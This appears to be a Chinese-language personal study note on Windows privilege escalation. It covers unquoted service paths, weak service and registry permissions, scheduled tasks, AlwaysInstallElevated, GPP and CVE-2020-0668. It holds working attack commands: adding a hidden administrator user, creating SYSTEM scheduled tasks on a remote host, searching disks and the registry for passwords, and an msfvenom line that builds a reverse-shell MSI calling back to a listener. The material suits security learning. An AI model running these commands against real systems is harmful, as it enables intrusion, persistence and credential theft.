Windows提权学习记录(1)
>
关于 Windows 提权
大致分为内核提权(利用 windows 底层的漏洞)和服务提权(windows 服务和相关软件由于配置不当产生的漏洞),这篇文章大致梳理了一下服务提权的几种常见打法。简单的关于 Windows 的访问控制模型
windows 用户都有特定的访问令牌(Access Token),被访问的对象都有特定的安全描述符(Security Descriptor),判断用户的访问令牌能否通过安全描述符的层层检查,确定是否有访问权限。
访问令牌在用户登录的时候,由系统从内部数据库中读取该账户的信息,然后用这些信息生成。此后这个用户启动的每一个进程都会获得这个令牌的副本,当线程去访问某个对象或执行某些操作的时候,Windows 就会对这个线程持有的令牌进行访问检查。
安全描述符重点关注访问控制列表 ACL(Access Control List),在其中起判断作用的重点关注 3 个(访问控制项) ACE(Access Control Entry)
第一个ACE拒绝Andrew账户对Object进行读取,写入和执行操作; 第二个ACE允许Group A账户组中的所有账户对Object进行写入操作; 第三个ACE允许任何账户对Object进行读取和执行操作;
经过检查之后的线程就有了对应的访问权限。基础命令
query user //查看用户登陆情况 whoami //当前用户权限 systeminfo //查看当前系统版本与补丁信息(利用系统较老,没有打对应补丁来进行提权) ver //查看当前服务器操作系统版本 Net start //查看当前计算机开启服务名称 #添加管理员用户 net user username(用户名) password(密码) /add (先添加一个普通用户) net localgroup adminstrators username /add (把这个普通用户添加到管理员用户的组中) 如果远程桌面连接不上可以添加远程桌面组 net localgroup "Remote Desktop Users" username /add netstat -ano //查看端口情况 tasklist //查看所有进程占用的端口 taskkil /im 映像名称.exe /f //强制结束指定进程 taskkil -PID pid号 //结束某个pid号的进程
基础提权信息收集
查询系统信息 systeminfo 如果要查看特定的信息,可以使用 systeminfo | findstr /B /C:"OS名称" /C:"OS版本" 主机名 Hostname 环境变量 Set 查看用户信息 Net user 查看服务pid号 Tasklist /svc|find "TermService" netstat -ano|find "3389" 查看系统名 wmic os get caption 查看补丁信息 wmic qfe get Description,HotFixID,InstalledOn 如果要定位到特定的补丁可以使用如下命令 wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" 查看当前安装程序 wmic product get name,version
不带引号的服务路径
当 windows 服务运行时,会发生以下两种情况之一:如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行,但是如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
就是说在没有引号的情况下,如果路径中带空格,就会错误执行:
C:\>"C:\Example\Sub Directory\example.exe" [*] Executed C:\Example\Sub Directory\example.exe C:\>C:\Example\Sub Directory\example.exe 'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.
那么可以放置一个与第一个名称相同的恶意名称相同的 exe(例子中的 Sub),就可以越权执行了。不安全的服务权限
现在的操作系统不会存在有漏洞的服务,所以,有漏洞的意思使我们可以再次配置某个服务的参数。
可以用 sc 查询,配置,管理 windows 服务
sc qc Spooler
可以用 accesschk 检查每个用户拥有的权限和每个服务需要的权限。
accesschk.exe -ucqv * (列出所有服务) accesschk.exe -ucqv Spooler (查看指定服务) accesschk.exe -uwcqv "Authenticated Users" * (查看用户组对服务的权限)
实操:手中只有 win7,暂时没有复现
任何下图的访问权限都将给我们一个 SYSTEM 权限的 shell
服务路径权限可控
注册表:由一系列配置单元
或配置集合
组成,它们按以下方式分解:
HKEY_CLASSES_ROOT - 文件类型的默认应用程序 HKEY_CURRENT_USER - 当前用户的个人资料 HKEY_LOCAL_MACHINE - 系统配置信息 HKEY_USERS - 系统用户配置文件 HKEY_CURRENT_CONFIG - 系统启动硬件配置文件
在软件注册服务的时候,会在注册表中创建几个项,路径如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
对注册表的查询可以用 SublnACL 完成,也可以使用AccessChk工具查询注册表。
这时有两种提权思路;
- 直接修改注册表,也就是说注册表的修改权限当前用户可控,直接修改 ImagePath 的值,指向本地其他路径(传的?),但要是注册表都可控了此时的权限也大概够了。。。
- ImagePath 指向的目录权限可控,那么可以把软件原本的组件(.exe)换成我们恶意的程序,那么当软件启动的时候就能执行我们的?(这个方法的前提原理是:开机自启动服务的权限是 SYSTEM)。
定时任务计划提权
at 适用版本:Windows2000,2003,XP,win7,能把 Administrator 组下的权限提到 SYSTEM
因为默认以 SYSTEM 权限定时任务计划(批处理/二进制文件)
语法:at 时间 命令
at 7:50 notepad.exe
windows server 2012 中的 at:
考虑用 schtasks 设置计划任务
添加计划任务: schtasks /create /s 192.168.0.129 /tn test /sc onstart /tr c:\a.exe /ru system /f 运行计划任务: schtasks /run /s 192.168.0.129 /i /tn "test" 删除计划任务: schtasks /delete /s 192.168.0.129 /tn "test" /f 删除 IPC$ net use \\192.168.0.129 /del /y
注意:在使用schtasks命令的时候会在系统留下日志文件C:Windows\Tasks\SchedLgU.txt。MSI安装策略提权(AlwaysInstallElevated)
AlwaysInstallElevated
是一种允许非管理用户以SYSTEM权限运行Microsoft Windows
安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
验证方式:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 或: reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果找不到说明没漏洞,能用的话可以直接用 msf 生成对应木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.134 LPORT=443 -f msi-nouac -o lask.msi
组策略首选项(GPP)漏洞
客户端计算机定期使用当前登录用户凭据进行域控制,以身份验证,然后生成配置策略,可用于软件部署,配置启动脚本,映射网络共享,配置注册表配置单元,配置打印机,管理安全权限等。还可以为本地管理员帐户配置密码。这些策略文件存储在域控制器的SYSVOL
共享中的一系列.xml文件中。
详细部分见 GPP 漏洞及相关利用凭证窃取
就是从主机上翻密码:
unattend.xml GPP.xml SYSPREP.INF sysprep.xml 其他各种配置文件 日志文件 注册表项 文件如my_passwords.txt,my_passwords.xls等
还有各种信息收集:
dir C:\*vnc.ini /s /b /c dir C:\ /s /b /c | findstr /sr \*password\* findstr /si password \*.txt | \*.xml | \*.ini reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
CVE-2020-0668(利用符号提权)
一个由符号连接导致的任意文件移动从而触发提权的漏洞。
HKLM\SOFTWARE\Microsoft\Tracing 注册表项任意用户(Everyone)可写可读,Tracing注册表项主要用于Windows服务跟踪调试,调试过程中会以SYSTEM权限产生一个日志文件。
将日志目录设置为 \RPC Control 对象目录的挂载点,然后创建两个符号链接:
一个从 MODULE.LOG 链接到你控制的文件(大于 MaxFileSize,这样就会被移动并创建一个信的日志文件。) 另一个从 MODULE.OLD 链接到文件系统中的任意文件(如C:\Windows\System32\WindowsCoreDeviceInfo.dll
最后在 NT AUTHORITY\SYSTEM 权限下的一系列文件改动被触发,通过Update Session Orchestrator 服务来执行任意命令。
\RPC Control\RASTAPI.LOG -> \??\C:\EXPLOIT\FakeDll.dll (owner = current user) \RPC Control\RASTAPI.OLD -> \??\C:\Windows\System32\WindowsCoreDeviceInfo.dll
由此可将 DLL 文件写入 C:\Windows\system32\ 目录参考文献: